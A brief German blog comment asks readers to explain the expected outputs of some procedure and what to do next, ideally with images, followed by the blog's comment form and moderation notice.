    Es wäre super, wenn mal jemand etwas zu den erwartenden Ausgaben schreiben könnte und was dann auch zu tun ist (auch Bilder wären sehr hilfreich).
    Besten Dank im Voraus

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert

Hinweis: Bitte beachtet die Regeln zum Kommentieren im Blog (Erstkommentare und Verlinktes landet in der Moderation, gebe ich alle paar Stunden frei, SEO-Posts/SPAM lösche ich rigoros). Kommentare abseits des Themas bitte unter Diskussion.